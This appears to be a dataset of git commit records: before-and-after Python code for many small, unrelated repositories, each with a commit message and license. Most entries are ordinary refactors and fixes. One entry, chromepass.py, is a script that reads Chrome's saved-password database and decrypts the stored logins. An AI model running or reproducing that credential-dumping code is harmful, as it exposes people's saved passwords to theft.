"""
import os
from syspath import git_root # NOQA
from app import serve
os.environ['ENV'] = 'production'
app = serve.app.test_client()
app.get('/')
app.get('/health')
app.get('/robots.txt')
app.get('/asdf')
| """
This script refreshes production varsnap snaps
"""
import os
from syspath import git_root # NOQA
from app import serve
os.environ['ENV'] = 'production'
app = serve.app.test_client()
app.get('/')
app.get('/health')
app.get('/humans.txt')
app.get('/robots.txt')
app.get('/.well-known/security.txt')
app.get('/asd... | Update varsnap refresh with new endpoints | Update varsnap refresh with new endpoints
| Python | mit | albertyw/base-flask,albertyw/base-flask,albertyw/base-flask,albertyw/base-flask |
79fb90779e5d85978cdb7dbb36f51baa96190f77 | bci/__init__.py | bci/__init__.py | from fakebci import FakeBCI | import os
import sys
import platform
import shutil
import inspect
#
#def machine():
# """Return type of machine."""
# if os.name == 'nt' and sys.version_info[:2] < (2,7):
# return os.environ.get("PROCESSOR_ARCHITEW6432",
# os.environ.get('PROCESSOR_ARCHITECTURE', ''))
# else:
# re... | Make some changes to the bci package file. | Make some changes to the bci package file.
| Python | bsd-3-clause | NeuralProsthesisLab/unlock,NeuralProsthesisLab/unlock,NeuralProsthesisLab/unlock,NeuralProsthesisLab/unlock,NeuralProsthesisLab/unlock,NeuralProsthesisLab/unlock,NeuralProsthesisLab/unlock |
caddef7500241135965e6d91ca94a38224bfd0cd | ui2/path_helpers.py | ui2/path_helpers.py | import ui
def get_path_image(path):
""" Get an image of a path """
bounds = path.bounds
with ui.ImageContext(bounds.max_x, bounds.max_y) as ctx:
path.fill()
return ctx.get_image()
def copy_path(path):
""" Make a copy of a ui.Path and return it. Preserves all data. """
new = ui.Pa... | import ui
import objc_util
def get_path_image(path):
""" Get an image of a path """
bounds = path.bounds
with ui.ImageContext(bounds.max_x, bounds.max_y) as ctx:
path.fill()
return ctx.get_image()
def copy_path(path):
""" Make a copy of a ui.Path and return it. Preserves all data. ""... | Add method for scaling path | Add method for scaling path
| Python | mit | controversial/ui2 |
e3604b5f0cdae3889cfe7531f7a5b9d1c09f56bd | PrettyJson.py | PrettyJson.py | import sublime
import sublime_plugin
import json
s = sublime.load_settings("Pretty JSON.sublime-settings")
class PrettyjsonCommand(sublime_plugin.TextCommand):
""" Pretty Print JSON
"""
def run(self, edit):
for region in self.view.sel():
# If no selection, use the entire file as the s... | import sublime
import sublime_plugin
import json
s = sublime.load_settings("Pretty JSON.sublime-settings")
class PrettyjsonCommand(sublime_plugin.TextCommand):
""" Pretty Print JSON
"""
def run(self, edit):
for region in self.view.sel():
# If no selection, use the entire file as the s... | Configure json.dumps() to use an item separator of "," instead of the default ", " to prevent single whitespace at the end of lines. | Configure json.dumps() to use an item separator of "," instead of the default ", " to prevent single whitespace at the end of lines.
Without this option, all prettyfied JSON has one space at the end of each line, which is not so pretty:
{
"key": "value",_
"key": "value",_
"key": "value"
}
This could ... | Python | mit | dzhibas/SublimePrettyJson |
cdb7dfd529f4078ab5995e38a8ae2f3b61c3fe98 | tests/__init__.py | tests/__init__.py | # tests.__init__
import os
import os.path
import shutil
import tempfile
import yvs.shared as yvs
from mock import patch
temp_dir = tempfile.gettempdir()
local_data_dir_patcher = patch(
'yvs.shared.LOCAL_DATA_DIR_PATH',
os.path.join(temp_dir, 'yvs-data'))
local_cache_dir_patcher = patch(
'yvs.shared.LOCA... | # tests.__init__
import os
import os.path
import shutil
import tempfile
from mock import patch
import yvs.shared as yvs
temp_dir = tempfile.gettempdir()
local_data_dir_patcher = patch(
'yvs.shared.LOCAL_DATA_DIR_PATH',
os.path.join(temp_dir, 'yvs-data'))
local_cache_dir_patcher = patch(
'yvs.shared.LOCA... | Correct import order in tests init file | Correct import order in tests init file
| Python | mit | caleb531/youversion-suggest,caleb531/youversion-suggest |
f2dc9b260e6ca1fcf46b9f23fad5478ab7ff28f8 | ce/expr/common.py | ce/expr/common.py | #!/usr/bin/env python
# vim: set fileencoding=UTF-8 :
from __future__ import print_function
ADD_OP = '+'
MULTIPLY_OP = '*'
OPERATORS = [ADD_OP, MULTIPLY_OP]
_cache_map = dict()
def cached(f):
def decorated(*args, **kwargs):
key = (f, tuple(args), tuple(kwargs.items()))
if key in _cache_map:... | #!/usr/bin/env python
# vim: set fileencoding=UTF-8 :
from __future__ import print_function
ADD_OP = '+'
MULTIPLY_OP = '*'
OPERATORS = [ADD_OP, MULTIPLY_OP]
def to_immutable(*m):
def r(d):
if isinstance(d, dict):
return tuple((e, to_immutable(v)) for e, v in d.iteritems())
if isin... | Fix dict argument not hashable | Fix dict argument not hashable
| Python | mit | admk/soap |
f256fc04361dc1a0e57c2a17d2216eadee03f987 | test_pytnt.py | test_pytnt.py | # -*- coding: utf-8 -*-
"""
Created on Mon Sep 30 20:22:29 2013
@author: chris
Test script for the pytnt project
"""
import unittest
from numpy.testing import assert_allclose
from processTNT import TNTfile
class TestLoadFile(unittest.TestCase):
"""Tests that pytnt can load files"""
def test_loa... | # -*- coding: utf-8 -*-
"""
Created on Mon Sep 30 20:22:29 2013
@author: chris
Test script for the pytnt project
"""
import unittest
import numpy as np
from numpy.testing import assert_allclose
from processTNT import TNTfile
class TestLoadFile(unittest.TestCase):
"""Tests that pytnt can load files"""
... | Use the phase from the pre-FT'd file for the test FT | Use the phase from the pre-FT'd file for the test FT
| Python | bsd-3-clause | chatcannon/pytnt,chatcannon/pytnt |
21df4ca35588993b00e610523f264be51e631b77 | classifier/run.py | classifier/run.py | import time
from clean_tweet import TweetClassifier as TC
from gather_data import GatherData
def run_test(val, expected):
print "{0} (exp {1}) >> {2}".format(t.predict(val), expected, val)
# Start by gathering some data
g = GatherData()
g.gather_tweets()
g.write_tweets("train_data.txt")
time.sleep(3)
g.gather_... | import os
import shutil
import time
from clean_tweet import TweetClassifier as TC
from gather_data import GatherData
def run_test(val, expected):
print "{0} (exp {1}) >> {2}".format(t.predict(val), expected, val)
# Start by gathering some data.
g = GatherData()
# If we have an existing training set, this becom... | Copy over train to new test data | Copy over train to new test data
| Python | mit | will-hart/twitter_sentiment,will-hart/twitter_sentiment |
773f78ae283a062818394743dea4535456ac9aeb | ckanext/qa/lib.py | ckanext/qa/lib.py | import json
import ckan.model as model
import ckan.plugins as p
def get_site_url(config):
return config.get('ckan.site_url_internally') or config['ckan.site_url']
def get_user_and_context(site_url):
user = p.toolkit.get_action('get_site_user')(
{'model': model, 'ignore_auth': True}, {}
)
... | import json
import ckan.model as model
import ckan.plugins as p
def get_site_url(config):
return config.get('ckan.site_url_internally') or config['ckan.site_url']
def get_user_and_context(site_url):
user = p.toolkit.get_action('get_site_user')(
{'model': model, 'ignore_auth': True, 'defer_commit': Tr... | Fix for getting site_user the first time. (A commit herecauses problems during a db write notification. Spotted when harvesting) | [1268] Fix for getting site_user the first time. (A commit herecauses problems during a db write notification. Spotted when harvesting)
| Python | mit | ckan/ckanext-qa,ckan/ckanext-qa,ckan/ckanext-qa |
85ca1534dc5d1f9b45cfec27d247f0932b2d7c52 | plugin/build.py | plugin/build.py | # The source code is compiled into a Roblox Model right into the plugins folder.
#
# Simply run `python build.py` and everything will be taken care of. You can
# then load up any game and test out the plugin.
import os
import os.path
from elixir.compilers import ModelCompiler
local_app_data = os.environ["LocalAppDat... | # The source code is compiled into a Roblox Model right into the plugins folder.
#
# Simply run `python build.py` and everything will be taken care of. You can
# then load up any game and test out the plugin.
import os
import os.path
from elixir.compilers import ModelCompiler
local_app_data = os.environ["LocalAppDat... | Allow the plugin to be compiled from anywhere | Allow the plugin to be compiled from anywhere
Because we were only using "src/" as the path, running build.py from anywhere but the 'plugin' would cause it to fail to locate the directory.
We're now using a path relative to the file, so it isn't dependant on where the file is called from.
| Python | mit | vocksel/studio-bridge-cli |
cf336ac17ba194066517ab93ea7079415adba0c2 | sum.py | sum.py | import sublime, sublime_plugin
class SumCommand(sublime_plugin.TextCommand):
def run(self, edit):
sum_view = self.view.window().new_file()
sum_view.set_name('Sum')
file_text = self.view.substr(sublime.Region(0, self.view.size()))
sum_view.insert(edit, 0, file_text)
sum_vie... | import sublime, sublime_plugin
class SumCommand(sublime_plugin.TextCommand):
def run(self, edit):
sum_view = self.view.window().new_file()
sum_view.set_name('Sum')
file_text = self.view.substr(sublime.Region(0, self.view.size()))
numbers = []
for s in file_text.split():
... | Add up all ints (base 10) and floats in the file | Add up all ints (base 10) and floats in the file
| Python | mit | jbrudvik/sublime-sum,jbrudvik/sublime-sum |
4f6ab3cf6effd2a7e05c56535c426f33e689f627 | chromepass.py | chromepass.py | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
connection = sqlite3.connect(appdata + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for information in cursor.fetch... | from os import getenv
import sqlite3
import win32crypt
appdata = getenv("APPDATA")
if appdata[-7:] == "Roaming": #Some WINDOWS Installations point to Roaming.
appdata = appdata[:-8]
connection = sqlite3.connect(appdata + "\Local\Google\Chrome\\User Data\Default\Login Data")
cursor = connection.cursor()
cursor.execut... | Make Python3 friendly. Add appdata check and fix. | Make Python3 friendly. Add appdata check and fix.
Confirmed working on Windows 7 Python 3.4 Installation Now :D | Python | mit | hassaanaliw/chromepass |
66ed7a95dff156ff8083ea9f0651a8b1d436c25e | kokki/cookbooks/busket/recipes/default.py | kokki/cookbooks/busket/recipes/default.py |
import os
from kokki import *
Package("erlang")
# ubuntu's erlang is a bit messed up.. remove the man link
File("/usr/lib/erlang/man",
action = "delete")
# Package("mercurial",
# provider = "kokki.providers.package.easy_install.EasyInstallProvider")
command = os.path.join(env.config.busket.path, "bin", "bus... |
import os
from kokki import *
Package("erlang")
# ubuntu's erlang is a bit messed up.. remove the man link
File("/usr/lib/erlang/man",
action = "delete")
# Package("mercurial",
# provider = "kokki.providers.package.easy_install.EasyInstallProvider")
command = os.path.join(env.config.busket.path, "bin", "bus... | Make sure HOME is set when installing busket. Erlang requires it | Make sure HOME is set when installing busket. Erlang requires it
| Python | bsd-3-clause | samuel/kokki |
ad1b7cb8dda0dc2565aab6cd8c6a392753682875 | wapiti/helpers.py | wapiti/helpers.py | # Copyright (c) Ecometrica. All rights reserved.
# Distributed under the BSD license. See LICENSE for details.
from collections import namedtuple
from decorator import decorator
from functools import wraps
from django.db.models import get_apps
from piston.utils import rc
from wapiti.conf import ID_RE
_RegisteredType... | # Copyright (c) Ecometrica. All rights reserved.
# Distributed under the BSD license. See LICENSE for details.
from collections import namedtuple
from decorator import decorator
from functools import wraps
from django.db.models import get_apps
from piston.utils import rc
from wapiti.conf import ID_RE
_RegisteredType... | Check for the existence of model.objects without calling it; may fix some weird buggy behaviour involving database migrations. | Check for the existence of model.objects without calling it; may fix some weird buggy behaviour involving database migrations.
| Python | bsd-3-clause | ecometrica/django-wapiti |
b2b1443753894ccb4835b8667b63d95ee7a1303f | Functions/echo-python/lambda_function.py | Functions/echo-python/lambda_function.py | """Created By: Andrew Ryan DeFilippis"""
print('Lambda cold-start...')
from json import dumps, loads
def lambda_handler(event, context):
print('LOG RequestId: {}\tResponse:\n\n{}'.format(
context.aws_request_id,
dumps(event, indent=4)
))
return event
# Comment or remove everything bel... | """Created By: Andrew Ryan DeFilippis"""
print('Lambda cold-start...')
from json import dumps, loads
# Disable 'testing_locally' when deploying to AWS Lambda
testing_locally = False
verbose = False
class CWLogs(object):
def __init__(self, context):
self.context = context
def event(self, message, ... | Update the echo Function to be similar to the template Function | Update the echo Function to be similar to the template Function
| Python | apache-2.0 | andrewdefilippis/aws-lambda |
cca6a727063c63d78d61ee81c892811238139462 | lame_test.py | lame_test.py | # Just barely tests things to make sure they work
from uwaterlooapi import UWaterlooAPI; api = UWaterlooAPI(api_key='fda8e642f9c9480800e8c02896744288')
exclude = ['api_key', 'base_url']
for attr in dir(api):
if attr.startswith("_"): continue
if attr in exclude: continue
f = getattr(api, attr)
print a... | # Just barely tests things to make sure they work
import datetime
from uwaterlooapi import UWaterlooAPI; api = UWaterlooAPI(api_key='fda8e642f9c9480800e8c02896744288')
exclude = ['api_key', 'base_url']
dates = (datetime.datetime.now().year, datetime.datetime.now().date().isocalendar()[1])
args_map = {
'announ... | Update lame test to test on multiple parameters. | Update lame test to test on multiple parameters.
| Python | mit | albertoconnor/uwaterlooapi |
44e8f8db3e39d083de74e4534403e327cb5d389a | alexandria/__init__.py | alexandria/__init__.py | import logging
log = logging.getLogger(__name__)
from pyramid.config import Configurator
from sqlalchemy import engine_from_config
from .models import DBSession
required_settings = [
'pyramid.secret.session',
'pyramid.secret.auth',
]
def main(global_config, **settings):
""" This function... | import logging
log = logging.getLogger(__name__)
from pyramid.config import Configurator
from sqlalchemy import engine_from_config
from .models import DBSession
required_settings = [
'pyramid.secret.session',
'pyramid.secret.auth',
]
def main(global_config, **settings):
""" This function... | Make sure to use the Pyramid transaction manager | Make sure to use the Pyramid transaction manager
| Python | isc | cdunklau/alexandria,cdunklau/alexandria,bertjwregeer/alexandria,cdunklau/alexandria,bertjwregeer/alexandria |
cc43b4f14706027c0bd0c15e1467d5df586faff8 | shoop/front/apps/simple_order_notification/templates.py | shoop/front/apps/simple_order_notification/templates.py | # -*- coding: utf-8 -*-
# This file is part of Shoop.
#
# Copyright (c) 2012-2016, Shoop Ltd. All rights reserved.
#
# This source code is licensed under the AGPLv3 license found in the
# LICENSE file in the root directory of this source tree.
MESSAGE_SUBJECT_TEMPLATE = "{{ order.shop }} - Order {{ order.identifier }}... | # -*- coding: utf-8 -*-
# This file is part of Shoop.
#
# Copyright (c) 2012-2016, Shoop Ltd. All rights reserved.
#
# This source code is licensed under the AGPLv3 license found in the
# LICENSE file in the root directory of this source tree.
MESSAGE_SUBJECT_TEMPLATE = "{{ order.shop }} - Order {{ order.identifier }}... | Remove price check from order email template | Remove price check from order email template
For some reason, only lines with prices were rendered in the email. Changed
this so that the free lines (from campaigns) are shown also.
No ref
| Python | agpl-3.0 | shawnadelic/shuup,shawnadelic/shuup,suutari/shoop,suutari-ai/shoop,suutari/shoop,hrayr-artunyan/shuup,shoopio/shoop,suutari/shoop,shoopio/shoop,shoopio/shoop,suutari-ai/shoop,suutari-ai/shoop,hrayr-artunyan/shuup,hrayr-artunyan/shuup,shawnadelic/shuup |
c16e2fed1b64c2d875c99940912e2aa3e5d6c33f | polyaxon/auditor/service.py | polyaxon/auditor/service.py | import tracker
from auditor.manager import default_manager
from event_manager.event_service import EventService
class AuditorService(EventService):
"""An service that just passes the event to author services."""
event_manager = default_manager
def get_event(self, event_type, instance, **kwargs):
... | import auditor
import tracker
from auditor.manager import default_manager
from event_manager.event_service import EventService
class AuditorService(EventService):
"""An service that just passes the event to author services."""
event_manager = default_manager
def get_event(self, event_type, instance, **... | Add activity logs to auditor tracking | Add activity logs to auditor tracking
| Python | apache-2.0 | polyaxon/polyaxon,polyaxon/polyaxon,polyaxon/polyaxon |
61394aec9d2193a978a0754bb43f70d1f66262d4 | django_json_widget/widgets.py | django_json_widget/widgets.py | import json
from builtins import super
from django import forms
from django.templatetags.static import static
class JSONEditorWidget(forms.Widget):
class Media:
css = {'all': (static('dist/jsoneditor.min.css'), )}
js = (static('dist/jsoneditor.min.js'),)
template_name = 'django_json_widget.h... | import json
from builtins import super
from django import forms
class JSONEditorWidget(forms.Widget):
class Media:
css = {'all': ('dist/jsoneditor.min.css', )}
js = ('dist/jsoneditor.min.js',)
template_name = 'django_json_widget.html'
def __init__(self, attrs=None, mode='code', options=... | Stop resolving paths to the static files. | Stop resolving paths to the static files.
Fixed #33 | Python | mit | jmrivas86/django-json-widget,jmrivas86/django-json-widget |
d309fba3d07b3122bdb05d511968b53f1c59b357 | opps/images/widgets.py | opps/images/widgets.py | from django import forms
from django.conf import settings
from django.template.loader import render_to_string
class MultipleUpload(forms.FileInput):
def render(self, name, value, attrs=None):
_value = ""
if value:
_value = "{0}{1}".format(settings.MEDIA_URL, value)
return rend... | from django import forms
from django.conf import settings
from django.template.loader import render_to_string
class MultipleUpload(forms.FileInput):
def render(self, name, value, attrs=None):
_value = ""
if value:
_value = "{0}{1}".format(settings.MEDIA_URL, value)
return rende... | Fix bug on images widget CropExample | Fix bug on images widget CropExample
| Python | mit | williamroot/opps,opps/opps,jeanmask/opps,YACOWS/opps,jeanmask/opps,YACOWS/opps,YACOWS/opps,williamroot/opps,opps/opps,opps/opps,williamroot/opps,williamroot/opps,jeanmask/opps,jeanmask/opps,opps/opps,YACOWS/opps |
ccb9e3d0fca96b853cabe0c9569dda1414409618 | enactiveagents/model/perceptionhandler.py | enactiveagents/model/perceptionhandler.py | """
Module that holds classes that represent an agent's perception handler.
"""
import abc
import world
import structure
class PerceptionHandler(object):
"""
Abstract perception handler class.
"""
@abc.abstractmethod
def perceive(self, agent, world):
"""
Generates a percept given ... | """
Module that holds classes that represent an agent's perception handler.
"""
import abc
import world
import agent
import structure
class PerceptionHandler(object):
"""
Abstract perception handler class.
"""
@abc.abstractmethod
def perceive(self, agent, world):
"""
Generates a p... | Make agents able to see each other. | Make agents able to see each other.
| Python | mit | Beskhue/enactive-agents,Beskhue/enactive-agents,Beskhue/enactive-agents |
2c83c171a8594f708e3a12c0435c7d0aa20d68ad | scripts/iface-choice.py | scripts/iface-choice.py | #apt-get install python-pip
#pip install netifaces
import netifaces
def select_iface(iface):
try:
iface = int(iface)
if(iface < 0):
raise IndexError
return netifaces.interfaces()[iface]
except IndexError:
print "Number provided was too big or small"
return []... | #apt-get install python-pip
#pip install netifaces
import netifaces
def select_iface(iface):
try:
iface = int(iface)
if(iface < 0):
raise IndexError
return netifaces.interfaces()[iface]
except IndexError:
print "Number provided was too big or small"
return []... | Write iface choice to file | Write iface choice to file
This seems unnecessary but I can't see a way to pass a string back from python, because of the prompt.
| Python | mit | andrewmichaelsmith/manuka,g1eagle/E-Pot |
02a95bafbcf739cef6306cdd0d785743f2dd7370 | saleor/product/management/commands/populatedb.py | saleor/product/management/commands/populatedb.py | from django.core.management.base import BaseCommand
from django.db import IntegrityError
from utils.create_random_data import create_items, create_users, create_orders
from saleor.userprofile.models import User
class Command(BaseCommand):
help = 'Populate database with test objects'
placeholders_dir = r'sal... | from django.core.management.base import BaseCommand
from utils.create_random_data import create_items, create_users, create_orders
from saleor.userprofile.models import User
class Command(BaseCommand):
help = 'Populate database with test objects'
placeholders_dir = r'saleor/static/placeholders/'
def ad... | Use get_or_create instead of catching exception | Use get_or_create instead of catching exception
| Python | bsd-3-clause | HyperManTT/ECommerceSaleor,car3oon/saleor,car3oon/saleor,laosunhust/saleor,spartonia/saleor,UITools/saleor,KenMutemi/saleor,tfroehlich82/saleor,tfroehlich82/saleor,car3oon/saleor,HyperManTT/ECommerceSaleor,tfroehlich82/saleor,itbabu/saleor,maferelo/saleor,laosunhust/saleor,laosunhust/saleor,laosunhust/saleor,maferelo/s... |
8562a58501aaa3f53a6aef5a0c1fab60aafb7c61 | scuole/states/models.py | scuole/states/models.py | # -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
from localflavor.us.models import USStateField
from django.contrib.gis.db import models
from django.utils.encoding import python_2_unicode_compatible
from scuole.core.models import PersonnelBase
from scuole.stats.models import SchoolYea... | # -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
from localflavor.us.models import USStateField
from django.contrib.gis.db import models
from django.utils.encoding import python_2_unicode_compatible
from scuole.core.models import PersonnelBase
from scuole.stats.models import SchoolYea... | Add get_absolute_url to State model | Add get_absolute_url to State model
| Python | mit | texastribune/scuole,texastribune/scuole,texastribune/scuole,texastribune/scuole |
570a4911f0babf884fa57b4509957bd94fc790ed | moita/pipelines.py | moita/pipelines.py | # -*- coding: utf-8 -*-
import json
from collections import defaultdict
from datetime import datetime
from unidecode import unidecode
from .items import Subject
from .spiders.cagr import SEMESTER
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.s... | # -*- coding: utf-8 -*-
import json
from collections import defaultdict
from datetime import datetime
from unidecode import unidecode
from .items import Subject
from .spiders.cagr import SEMESTER
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.s... | Add date at the end | Add date at the end
| Python | mit | ranisalt/moita-ufsc-crawler |
85be415a27d23951f5ee943710ea3d22571aa697 | mollie/api/objects/list.py | mollie/api/objects/list.py | from .base import Base
class List(Base):
current = None
def __init__(self, result, object_type):
Base.__init__(self, result)
self.object_type = object_type
def get_object_name(self):
return self.object_type.__name__.lower() + 's'
def __iter__(self):
"""Implement iter... | from .base import Base
class List(Base):
current = None
def __init__(self, result, object_type):
Base.__init__(self, result)
self.object_type = object_type
def get_object_name(self):
return self.object_type.__name__.lower() + 's'
def __iter__(self):
"""Implement iter... | Add proxy method for python2 iterator support | Add proxy method for python2 iterator support
| Python | bsd-2-clause | mollie/mollie-api-python |
1994a59d3ae9d3f24445f11f3bc0dd3089042bc4 | main.py | main.py | from order import Order
from orderbook import OrderBook
from client import FinanceClient
from ordermanager import OrderManager
from strategy import Vanilla, Strawberry
import sys
# local server for finance data
host_ip, server_port = "localhost", 9995
def main():
"""
Turn on the FinanceServer
- fetch data... | from order import Order
from orderbook import OrderBook
from client import FinanceClient
from ordermanager import OrderManager
from strategy import Vanilla, Strawberry
import sys
# local server for finance data
host_ip, server_port = "localhost", 9995
def main():
"""
Turn on the FinanceServer
- fetch data... | Use modify with the orderbook | Use modify with the orderbook
| Python | mit | albhu/finance |
67ea74ac57712ba963530845b566c62d7c5307dc | recaptcha_comments/forms.py | recaptcha_comments/forms.py | from django.contrib.comments.forms import CommentForm
from recaptcha_comments.fields import RecaptchaField
class RecaptchaCommentForm(CommentForm):
captcha = RecaptchaField()
def clean_captcha(self):
if not 'preview' in self.data:
captcha_data = self.cleaned_data['captcha']
ret... | from django.contrib.comments.forms import CommentForm
from recaptcha_comments.fields import RecaptchaField
class RecaptchaCommentForm(CommentForm):
captcha = RecaptchaField()
def clean_captcha(self):
if not 'preview' in self.data:
captcha_data = self.cleaned_data['captcha']
ret... | Fix a flow issue (long standing bug) | Fix a flow issue (long standing bug)
| Python | mit | theju/django-comments-apps |
01a012bf37c438c845e4962ffa6f1c0e1e2723f4 | netmiko/cisco/cisco_ios.py | netmiko/cisco/cisco_ios.py | from __future__ import unicode_literals
from netmiko.cisco_base_connection import CiscoSSHConnection
from netmiko.cisco_base_connection import CiscoTelnetConnection
class CiscoIosSSH(CiscoSSHConnection):
"""Cisco IOS SSH driver."""
def session_preparation(self):
"""Prepare the session after the conne... | from __future__ import unicode_literals
from netmiko.cisco_base_connection import CiscoSSHConnection
from netmiko.cisco_base_connection import CiscoTelnetConnection
class CiscoIosSSH(CiscoSSHConnection):
"""Cisco IOS SSH driver."""
@staticmethod
def autodetect(session):
"""
"""
m... | Add autodetect for Cisco IOS | Add autodetect for Cisco IOS
| Python | mit | fooelisa/netmiko,ktbyers/netmiko,ktbyers/netmiko,isidroamv/netmiko,isidroamv/netmiko,fooelisa/netmiko |
424f6c8c1c4b65e04196a568cfe56b77265aa063 | kobo/apps/external_integrations/models.py | kobo/apps/external_integrations/models.py | # coding: utf-8
from django.db import models
from django.utils.translation import ugettext_lazy as _
def _set_cors_field_options(name, bases, attrs):
cls = type(name, bases, attrs)
# The `cors` field is already defined by `AbstractCorsModel`, but let's
# help folks out by giving it a more descriptive name... | # coding: utf-8
from django.db import models
from django.utils.translation import ugettext_lazy as _
class CorsModel(models.Model):
"""
A model with one field, `cors`, which specifies an allowed origin that must
exactly match `request.META.get('HTTP_ORIGIN')`
"""
cors = models.CharField(
... | Simplify CORS model and improve wording | Simplify CORS model and improve wording
| Python | agpl-3.0 | kobotoolbox/kpi,kobotoolbox/kpi,kobotoolbox/kpi,kobotoolbox/kpi,kobotoolbox/kpi |
d27ded9fb8c833b2f21fedade5cbef9ab831453e | src/ggrc/models/hooks/comment.py | src/ggrc/models/hooks/comment.py | # Copyright (C) 2016 Google Inc.
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
"""A module with Comment object creation hooks"""
from ggrc import db
from ggrc.login import get_current_user_id
from ggrc.models.all_models import Comment, ObjectOwner
from ggrc.services.common import Reso... | # Copyright (C) 2016 Google Inc.
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
"""A module with Comment object creation hooks"""
from ggrc import db
from ggrc.login import get_current_user_id
from ggrc.models.all_models import Comment, ObjectOwner
from ggrc.services.common import Reso... | Fix creating revisions of ObjectOwner of Comment | Fix creating revisions of ObjectOwner of Comment
| Python | apache-2.0 | josthkko/ggrc-core,AleksNeStu/ggrc-core,andrei-karalionak/ggrc-core,kr41/ggrc-core,j0gurt/ggrc-core,kr41/ggrc-core,selahssea/ggrc-core,plamut/ggrc-core,j0gurt/ggrc-core,kr41/ggrc-core,plamut/ggrc-core,selahssea/ggrc-core,j0gurt/ggrc-core,AleksNeStu/ggrc-core,josthkko/ggrc-core,AleksNeStu/ggrc-core,josthkko/ggrc-core,j0... |
c20482f8c9c20b4d934e16a583697e2f8f520553 | yesimeanit/showoff/newsletter_subscriptions/forms.py | yesimeanit/showoff/newsletter_subscriptions/forms.py | from django import forms
from django.utils.translation import ugettext_lazy as _
from .models import NewsletterSubscription
class SubscribtionForm(forms.ModelForm):
class Meta:
model = NewsletterSubscription
fields = ('salutation', 'first_name', 'last_name', 'email')
def clean_email(self):
... | from django import forms
from django.utils.translation import ugettext_lazy as _
from .models import NewsletterSubscription
class SubscribtionForm(forms.ModelForm):
salutation = forms.ChoiceField(choices=NewsletterSubscription.SALUTATION_CHOICES,
required=False, label=_('salutation'), widget=forms.RadioS... | Customize salutation form field a bit | Customize salutation form field a bit
| Python | bsd-3-clause | guetux/django-yesimeanit |
dcf0ee630a20b413d2212c3d3ae19ce4008a33fe | openacademy/model/openacademy_course.py | openacademy/model/openacademy_course.py | from openerp import models, fields
'''
This module create module of Courso
'''
class Course(models.Model):
'''
This class create module of Course
'''
_name = 'openacademy.course' # Model odoo name
name = fields.Char(string='Title', required=True) # Field reserved to identified name rec
... | from openerp import api, models, fields
'''
This module create module of Courso
'''
class Course(models.Model):
'''
This class create module of Course
'''
_name = 'openacademy.course' # Model odoo name
name = fields.Char(string='Title', required=True) # Field reserved to identified name rec... | Modify copy method into inherit | [REF] openacademy: Modify copy method into inherit
| Python | apache-2.0 | Hiregui92/openacademy-project |
9f97f232a23dab38736e487bd69377b977dff752 | candidates/tests/test_feeds.py | candidates/tests/test_feeds.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django_webtest import WebTest
from .auth import TestUserMixin
from ..models import LoggedAction
class TestFeeds(TestUserMixin, WebTest):
def setUp(self):
self.action1 = LoggedAction.objects.create(
user=self.user,
... | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django_webtest import WebTest
from popolo.models import Person
from .auth import TestUserMixin
from ..models import LoggedAction
class TestFeeds(TestUserMixin, WebTest):
def setUp(self):
self.person1 = Person.objects.create(
... | Update feed tests to use a person object when creating LoggedAction | Update feed tests to use a person object when creating LoggedAction
Otherwise the notification signal attached to LoggedAction for the
alerts throws an error as it expects a Person to exist
| Python | agpl-3.0 | DemocracyClub/yournextrepresentative,mysociety/yournextrepresentative,neavouli/yournextrepresentative,neavouli/yournextrepresentative,mysociety/yournextrepresentative,mysociety/yournextrepresentative,DemocracyClub/yournextrepresentative,mysociety/yournextmp-popit,mysociety/yournextmp-popit,mysociety/yournextmp-popit,ne... |
49997f92f8f62a1fc259c0285d386887a399ba0e | pycroft/helpers/utc.py | pycroft/helpers/utc.py | from typing import NewType
from datetime import datetime, time, timezone, date
TimeTz = NewType('TimeTz', time)
DateTimeTz = NewType('DateTimeTz', datetime)
DateTimeNoTz = NewType('DateTimeNoTz', datetime)
def time_min() -> TimeTz:
return time.min.replace(tzinfo=timezone.utc)
def time_max() -> TimeTz:
ret... | from typing import NewType, Optional
from datetime import datetime, time, timezone, date
TimeTz = NewType('TimeTz', time)
DateTimeTz = NewType('DateTimeTz', datetime)
DateTimeNoTz = NewType('DateTimeNoTz', datetime)
def time_min() -> TimeTz:
return time.min.replace(tzinfo=timezone.utc)
def time_max() -> TimeT... | Introduce many strictly typed datetime helper functions | Introduce many strictly typed datetime helper functions
| Python | apache-2.0 | agdsn/pycroft,agdsn/pycroft,agdsn/pycroft,agdsn/pycroft,agdsn/pycroft |
a2d3c2e0391d2deeb1d6729567c2d8812ad7e7df | exam/asserts.py | exam/asserts.py | irrelevant = object()
class ChangeWatcher(object):
def __init__(self, thing, *args, **kwargs):
self.thing = thing
self.args = args
self.kwargs = kwargs
self.expected_before = kwargs.pop('before', irrelevant)
self.expected_after = kwargs.pop('after', irrelevant)
def __... | IRRELEVANT = object()
class ChangeWatcher(object):
def __init__(self, thing, *args, **kwargs):
self.thing = thing
self.args = args
self.kwargs = kwargs
self.expected_before = kwargs.pop('before', IRRELEVANT)
self.expected_after = kwargs.pop('after', IRRELEVANT)
def __... | Make the irrelevant object a constant | Make the irrelevant object a constant
| Python | mit | Fluxx/exam,gterzian/exam,Fluxx/exam,gterzian/exam |
ba13537cf18b8bced21544866fcdcc887e1d290d | latex/exc.py | latex/exc.py | import os
from .errors import parse_log
class LatexError(Exception):
pass
class LatexBuildError(LatexError):
"""LaTeX call exception."""
def __init__(self, logfn=None):
if os.path.exists(logfn):
self.log = open(logfn).read()
else:
self.log = None
def __str_... | import os
from .errors import parse_log
class LatexError(Exception):
pass
class LatexBuildError(LatexError):
"""LaTeX call exception."""
def __init__(self, logfn=None):
if os.path.exists(logfn):
# the binary log is probably latin1 or utf8?
# utf8 throws errors occasiona... | Fix latexs output encoding to latin1. | Fix latexs output encoding to latin1.
| Python | bsd-3-clause | mbr/latex |
